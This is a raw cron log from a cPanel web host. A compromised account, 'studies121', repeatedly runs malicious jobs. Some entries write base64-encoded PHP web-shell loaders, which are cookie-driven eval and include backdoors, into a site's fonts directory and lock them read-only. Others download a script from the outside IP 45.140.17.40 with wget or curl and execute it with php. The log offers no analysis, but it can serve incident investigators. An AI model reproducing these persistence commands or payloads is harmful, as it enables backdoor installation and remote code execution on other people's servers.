Sep 21 07:29:01 ip-184-168-122-23 CROND[14654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:29:01 ip-184-168-122-23 CROND[14656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:29:01 ip-184-168-122-23 CROND[14657]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:29:01 ip-184-168-122-23 CROND[14659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:30:01 ip-184-168-122-23 CROND[14844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:30:01 ip-184-168-122-23 CROND[14845]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 07:30:01 ip-184-168-122-23 CROND[14849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 07:30:01 ip-184-168-122-23 CROND[14847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:30:01 ip-184-168-122-23 CROND[14848]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:30:01 ip-184-168-122-23 CROND[14853]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 07:30:01 ip-184-168-122-23 CROND[14854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:30:01 ip-184-168-122-23 CROND[14855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:31:01 ip-184-168-122-23 CROND[14989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:31:01 ip-184-168-122-23 CROND[14991]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 07:31:01 ip-184-168-122-23 CROND[14993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:31:01 ip-184-168-122-23 CROND[14992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:31:01 ip-184-168-122-23 CROND[14994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:32:01 ip-184-168-122-23 CROND[15119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:32:01 ip-184-168-122-23 CROND[15122]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:32:01 ip-184-168-122-23 CROND[15121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:32:01 ip-184-168-122-23 CROND[15124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:32:01 ip-184-168-122-23 CROND[15123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:33:01 ip-184-168-122-23 CROND[15273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:33:01 ip-184-168-122-23 CROND[15274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:33:01 ip-184-168-122-23 CROND[15275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:33:01 ip-184-168-122-23 CROND[15276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:34:01 ip-184-168-122-23 CROND[15469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:34:01 ip-184-168-122-23 CROND[15470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:34:01 ip-184-168-122-23 CROND[15473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:34:01 ip-184-168-122-23 CROND[15472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:34:02 ip-184-168-122-23 CROND[15474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:35:01 ip-184-168-122-23 CROND[15612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:35:01 ip-184-168-122-23 CROND[15614]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 07:35:01 ip-184-168-122-23 CROND[15616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:35:01 ip-184-168-122-23 CROND[15615]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 07:35:01 ip-184-168-122-23 CROND[15617]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 07:35:01 ip-184-168-122-23 CROND[15618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:35:01 ip-184-168-122-23 CROND[15619]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 07:35:01 ip-184-168-122-23 CROND[15620]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:36:01 ip-184-168-122-23 CROND[15779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:36:01 ip-184-168-122-23 CROND[15781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:36:01 ip-184-168-122-23 CROND[15783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:36:01 ip-184-168-122-23 CROND[15782]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:36:01 ip-184-168-122-23 CROND[15785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:37:01 ip-184-168-122-23 CROND[15967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:37:01 ip-184-168-122-23 CROND[15970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:37:01 ip-184-168-122-23 CROND[15971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:37:01 ip-184-168-122-23 CROND[15969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:38:01 ip-184-168-122-23 CROND[16100]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:38:01 ip-184-168-122-23 CROND[16102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:38:01 ip-184-168-122-23 CROND[16104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:38:01 ip-184-168-122-23 CROND[16105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:38:01 ip-184-168-122-23 CROND[16108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:39:01 ip-184-168-122-23 CROND[16232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:39:01 ip-184-168-122-23 CROND[16236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:39:01 ip-184-168-122-23 CROND[16235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:39:01 ip-184-168-122-23 CROND[16237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:39:01 ip-184-168-122-23 CROND[16238]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 07:40:01 ip-184-168-122-23 CROND[16444]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 07:40:01 ip-184-168-122-23 CROND[16446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 07:40:01 ip-184-168-122-23 CROND[16448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 07:40:01 ip-184-168-122-23 CROND[16447]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 07:40:01 ip-184-168-122-23 CROND[16449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 07:40:01 ip-184-168-122-23 CROND[16445]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 07:40:01 ip-184-168-122-23 CROND[16450]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 07:40:01 ip-184-168-122-23 CROND[16451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 07:41:01 ip-184-168-122-23 CROND[16609]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
